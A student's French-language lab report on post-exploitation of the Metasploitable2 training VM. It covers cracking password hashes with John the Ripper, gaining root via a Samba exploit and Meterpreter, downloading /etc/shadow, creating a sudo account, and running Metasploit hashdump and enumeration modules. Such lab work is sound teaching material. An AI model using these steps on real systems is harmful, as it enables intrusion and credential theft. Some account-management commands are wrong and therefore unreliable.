0% ont trouvé ce document utile (0 vote)
280 vues13 pages

Rapport Atelier 6

Transféré par

Pape Moussa Diop
Copyright
© © All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd
0% ont trouvé ce document utile (0 vote)
280 vues13 pages

Rapport Atelier 6

Transféré par

Pape Moussa Diop
Copyright
© © All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd

Rapport Atelier 6

POST-EXPLOITATION

Cours : TECHNOLOGIES DE SÉCURITÉ (TDS)


Étudiant : Pape Moussa DIOP
Professeur : M. Doudou FALL
RAPPORT ATELIER 6

Dans cet atelier, vous allez effectuer d'autres activités sur un système après l'exploitation pour
obtenir un accès initial.

Partie 1 – John the Ripper


Disons que vous avez des hashs de mots de passe provenant d'un exploit précédent. Bien que
cela soit utile en soi pour voir quels noms d'utilisateurs existent, il serait beaucoup plus utile
d'avoir des mots de passe en clair, qui pourraient ensuite être utilisés pour se connecter à
d'autres systèmes non exploités.
John the Ripper est un outil d’« audit de sécurité et de récupération de mots de passe » qui peut
également être utilisé pour craquer des mots de passe par force brute à partir de hachages. Ce
processus peut être beaucoup plus rapide que les attaques basées sur le réseau qui ont été
tentées précédemment avec Hydra. Il n'y a pas de délai réseau pour attendre la réponse de la
cible, pas besoin de s'inquiéter de la surcharge de la cible ou de déclencher des alarmes de
sécurité, et les tentatives de hachage peuvent être fortement parallélisées.
Exécutez John the Ripper sur les hachages que vous avez chipés à Metasploitable2 (rappelez-
vous que dans l’atelier « Exploitation », vous avez “chipé” les fichiers /etc/passwd et
/etc/shadow, puis utilisé l'outil unshadow pour fusionner ces fichiers en un seul). John the
Ripper a un tas de règles pour les permutations courantes de mots de passe basées sur les
noms d'utilisateur – peut-être que certaines d'entre elles vous intéresseront ? Commencez par
la règle SINGLE CRACK. C'est pour les mots de passe simples basés sur les informations de
connexion/GECOS, mais vous pourriez avoir de la chance, et c'est super rapide pour
commencer.
$ john --list=rules
# Juste pour voir toutes les différentes permutations possibles.

$ john --single logins_de_metasploitable2.txt

Notez que vous n'êtes pas obligé de fournir un fichier au format « shadow » - John the Ripper
est parfaitement capable de reconnaître une grande variété de normes de hachage dans un
fichier dont le contenu est aussi simple que username:hash.

• Quel est le mot de passe de l'utilisateur user ?


Le mot de passe de user c’est user
• Quel est le mot de passe de l'utilisateur msfadmin ?
Le mot de passe de msfadmin c’est msfadmin
• Quel est le mot de passe de l'utilisateur service ?
Le mot de passe de service c’est service

1
RAPPORT ATELIER 6

Nous faisons des progrès, mais cela n'a pas permis de deviner les mots de passe de tous les
comptes.
Maintenant, exécutez John the Ripper en utilisant une liste de base de mots de passe
communs qui sont fournis avec John the Ripper.
$ john --wordlist=/usr/share/john/password.lst --rules logins_de_metasploitable.txt

• Quel est le mot de passe de l'utilisateur sys ?


Le mot de passe de sys est batman
• Quel est le mot de passe de l'utilisateur klog ?
Le mot de passe de klog est 123456789

Remarque : John the Ripper est intelligent. Si vous réexécutez la commande sur le même
fichier d'entrée, il ne prendra pas la peine d'exécuter les mêmes tests ou d'essayer de trouver
des mots de passe pour des noms d'utilisateurs qu'il connaît déjà. Ceux-ci sont enregistrés
dans ~/.john/john.pot.
Ainsi, vous pouvez facilement essayer plusieurs listes de mots (par exemple, petit, moyen,
grand) et des règles plus compliquées (c'est-à-dire des permutations) sur les mêmes
hachages.

Si vous voulez voir tous les résultats du craquage de mot de passe sur le fichier, et pas
seulement le scan le plus récent, faites :
$ john --show logins_de_metasploitable2.txt
# Les résultats seront affichés au format "passwd" :
# username: password: UsedID: GroupID: User Info: Home
# Directory : Default Shell

2
RAPPORT ATELIER 6

Seul le mot de passe root reste un mystère... Quelques recherches sur Google semblent
indiquer que ce mot de passe est nettement plus difficile à craquer que les autres.
Notez qu'il s'agit de listes de noms d'utilisateurs et de mots de passe relativement courtes
pour aller vite. Metasploit contient d'autres fichiers parmi lesquels vous pouvez choisir (voir
/usr/share/metasploit-framework/data/wordlists/) et tout Pen Tester digne de ce nom aura ses
propres listes de mots de passe.
Voir aussi : CrackStation.net propose un fichier de 15 Go (non compressé) de listes de mots
https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.html

Vous pouvez garder la trace de ces informations d'identification dans Metasploit en utilisant la
commande creds. Ajoutez votre meilleur identifiant maintenant (celui de msfadmin, puisque
nous savons qu'il a un accès sudo) en utilisant la commande 'creds add'. Vous devrez spécifier
le nom d'utilisateur, le mot de passe, et l'adresse IP/le port/le protocole/le service pour lequel
le login est utilisé.

Vous pourrez ensuite effectuer une recherche dans la base de données des informations
d'identification, soit par hôte, soit par service.

3
RAPPORT ATELIER 6

Partie 2 – Activités pratiques post-exploitation


Après avoir obtenu l'accès au shell, vous pouvez effectuer certaines tâches courantes,
comme créer un compte utilisateur pour votre propre usage (plutôt que de devoir utiliser un
exploit fragile pour l'accès à chaque fois). Ou encore, vous pouvez analyser le réseau à la
recherche d'autres hôtes susceptibles d'être examinés ensuite. C'est ce qu'on appelle
l’énumération (Voir : Aide-mémoire pour l’énumération sous Linux).
Effectuez les tâches suivantes sur la VM Metasploitable2 via un shell d'exploitation (n'importe
quelle exploitation fera l'affaire). Pour chacune de ces tâches, utilisez uniquement les logiciels
qui sont déjà présents sur le système. Vous n'êtes pas autorisé à utiliser apt pour installer quoi
que ce soit sur le système.

• Pour chaque tâche ci-dessous, documentez chaque commande ou ensemble de


commandes que vous utilisez.

Conseil : n'hésitez pas à vous connecter à Metasploitable2 et à tester les commandes dans le
terminal. Cependant, toutes vos réponses doivent pouvoir être exécutées via le shell
d'exploitation, alors testez-les à la fin pour vous en assurer.

Tâche 1 – Accordez l’accès : obtenez une liste de tous les utilisateurs locaux.
Cmd : cat /etc/passwd
Desc : Cette commande affiche le contenu du fichier /etc/passwd, qui contient des
informations sur les utilisateurs du système, y compris leurs noms d'utilisateur, identifiants
d'utilisateur (UID), identifiants de groupe (GID), répertoires personnels, et plus encore.

Tâche 2 – Accordez l’accès : obtenez une liste de tous les utilisateurs ayant un accès sudo
(c’est à-dire un accès root). Notons que, dans Metasploitable2, le groupe pertinent est appelé
« admin », alors que dans certaines autres distributions Linux, le groupe pertinent est appelé «
sudo ».
Cmd : cat /etc/sudoers | grep -E '^%admin'
Desc : Cette commande utilise cat pour afficher le contenu du fichier /etc/sudoers et grep pour
filtrer les lignes commençant par "%admin". Cela devrait nous montrer les lignes où le groupe
« admin » a des droits sudo.

4
RAPPORT ATELIER 6

Tâche 3 – Accordez l’accès : créez un nouveau compte avec le nom d’utilisateur « doudou » et
le mot de passe « sensei ».
Cmd : sudo useradd doudou ; sudo passwd doudou
Desc : la première commande (sudo useradd doudou), cela crée un nouvel utilisateur avec le
nom "doudou". Ensuite, la deuxième commande (sudo passwd doudou) vous demande de
définir un mot de passe pour cet utilisateur.

Tâche 4 – Accordez l’accès : donnez les permissions sudo au compte « doudou ».


Cmd : sudo usermod -aG sudo doudou
Desc : Cette commande ajoute l'utilisateur « doudou » au groupe « admin », ce qui lui accorde
les permissions sudo.

Tâche 5 – Révoquez l’accès : retirez les permissions sudo à « doudou ».


Cmd : sudo deluser doudou admin
Desc : Cette commande retire l'utilisateur « doudou » du groupe « admin »

Tâche 6 – Révoquez l’accès : supprimez l'utilisateur « doudou ».


Cmd : sudo delgroup doudou
Desc : Cette commande supprime l'utilisateur « doudou » du système

Tâche 7 – Révoquez l’accès : Supprimez le groupe « doudou ».


Cmd : sudo delgroup doudou
Desc : cette commande supprime le groupe doudou
On déplace d’abord le user doudou qui a le nom du groupe

Tâche 8 – Découvrez dans quel shell vous êtes en train de travailler via l'exploit.
Cmd : echo $SHELL
Desc : cette commande affiche le shell

5
RAPPORT ATELIER 6

Partie 3 – Meterpreter
Meterpreter est une charge utile (payload) avancée, dynamiquement extensible, qui utilise des
stagers (modules) d'injection de DLL en mémoire et qui est étendue sur le réseau au moment
de l'exécution. Il communique sur le socket du stager et fournit une API Ruby complète côté
client.
Il dispose d'un historique des commandes, de la complétion par tabulation, de canaux, et plus
encore.
Voir : À propos de Meterpreter
Mettons à niveau notre shell avec Meterpreter !
Référence : Mise à niveau d'un shell de commande normale vers un Metasploit Meterpreter
Continuez à utiliser l'espace de travail de l’atelier « Exploitation » :
msf6> workspace MRI-metasploitable2
Utilisez l'exploit Samba de l’atelier « Exploitation » :
msf6> search type:exploit name:samba
msf6> use exploit/multi/samba/usermap_script
msf6> info
msf6> set RHOST xx.xx.xx.xx
Quelles charges utiles (payloads) sont disponibles pour cet exploit ?
msf6> show payloads
Pas de Meterpreter disponible. Nous allons y parvenir par un processus en deux étapes. Vous
pouvez laisser le payload comme automatiquement sélectionné.
msf6> exploit

Maintenant que vous avez un shell sur la VM Metasploitable2, envoyez-le en arrière-plan via
CTRL-Z et entrez y pour le mettre en arrière-plan.
Recherchez un script post-exploit pour mettre à niveau un shell vers un shell Meterpreter, puis
sélectionnez-le.
msf6> search shell_to_meterpreter

6
RAPPORT ATELIER 6

Apprenez-en plus sur ce script post-exploit et les options dont il a besoin :

Parmi les options que prend ce script post-exploit, la seule qui manque (et qui est obligatoire)
est SESSION, qui est la session sur laquelle nous devons exécuter ce script. Quelles sont nos
sessions actuelles ? (Il ne devrait y en avoir qu'une, celle que nous venons d'envoyer en
arrière-plan)

7
RAPPORT ATELIER 6

• Quel est le “type" indiqué pour cette nouvelle session ?


La session est de type meterpreter x86/linux
• Sous quel nom d'utilisateur meterpreter fonctionne-t-il sur le système distant ?
Le nom d’utilisateur est root
• Que signifie ce nom d'utilisateur en termes d'accès à ce système ?
L’utilisateur root a accès à tout le système.
Pour interagir avec ce nouveau shell, utilisez l'option « -i » pour les sessions :

Obtenir quelques informations de haut niveau sur le système sur lequel Meterpreter est en
cours d'exécution :

• Quel est le système d'exploitation déclaré ?


Ubuntu 8.04 (Linux 2.6.24-16-server)
• Quelle est l'architecture (du processeur) indiquée ?
L’architecture est le i686

Parcourez la liste des processus en cours pour avoir une idée de ce qui se passe sur le
système.

• Quel est l'ID du processus de Xtightvnc (un serveur VNC) ?

8
RAPPORT ATELIER 6

Téléchargez-les fichiers /etc/passwd et /etc/shadow de Metasploitable2 sur votre machine


Kali et enregistrez-les dans le répertoire /tmp, démontrant ainsi une autre façon d'accéder aux
fichiers sur l'hôte distant.
meterpreter> download /etc/passwd /etc/shadow /tmp

Fouiner dans le cache ARP de l'hôte cible. Cela représente les autres systèmes du réseau
local avec lesquels la cible a récemment communiqué. Vous pourriez découvrir d'autres
systèmes qui méritent d'être examinés ensuite.

Pour quitter l'interpréteur de commandes Meterpreter :


meterpreter> quit

9
RAPPORT ATELIER 6

Partie 4 – Script post-exploit


Metasploit dispose d'un certain nombre de scripts « post-exploit » qui peuvent être utiles pour
la collecte de données. Quels autres scripts post-exploit existent pour notre cible Linux ?

msf6> search type:post platform:linux

Certaines d'entre elles semblent intéressantes, selon les applications que vous pensez
exécuter sur le système cible :

msf6> info post/linux/gather/enum_system

msf6> info post/linux/gather/enum_users_history

msf6> info post/linux/gather/hashdump


# Un autre moyen d'obtenir les hashs des mots de passe.

10
RAPPORT ATELIER 6

• Utilisez le script post-exploit hashdump pour accéder aux hachages de mots de passe.
(Conseil : faut-il définir des variables d'environnement avant de l'exécuter ?) Où le fichier de
mots de passe "unshadowed" est-il téléchargé sur votre système Kali ?
Unshadowed Password File:
/home/kali/.msf4/loot/20240102204930_MRImetasploitab_10.0.2.4_linux.hashes_561516.t
xt

• Utilisez le script post-exploit enum_system pour accéder aux paquets et services installés,
aux fichiers journaux (logs), aux tâches (jobs) cron et à d'autres artefacts système
intéressants. Quelle est la version du paquet du moteur Apache Tomcat 5.5 qui est installé ?
(Selon l'étiquetage du gestionnaire de paquets Ubuntu/Debian)
Cmd : sudo grep -i 'tomcat'
/home/kali/.msf4/loot/20240102210755_MRImetasploitab_10.0.2.4_linux.enum.syste_0734
50.txt | grep -i '5.5'

C’est la version 5.5.25-5ubuntu1.2

11
RAPPORT ATELIER 6

• Utilisez le script post-exploit enum_users_history pour accéder à l'historique du shell, à


l'historique des commandes pour divers serveurs SQL et au fichier sudoers, entre autres
artefacts. Quel est le nom du fichier de configuration que l'utilisateur "postgres" a modifié à
l'aide de l'éditeur de texte "vim" ? (Il y a deux fichiers, l'un ou l'autre est acceptable)

C’est le fichier postgresql.conf


Conseil : vous avez oublié quel fichier d'artefact contient quelle information ? Vous voulez les
voir dans une liste organisée, de préférence triée/rechercheable par hôte ? Ces scripts ont
sauvegardé ces informations pour vous automatiquement.
msf6> loot

Pour quitter votre shell d'exploitation original :


msf6> sessions
msf6> sessions -i x # Où x = numéro de votre exploit original
msf6> CTRL-C

Atelier done

12

Vous aimerez peut-être aussi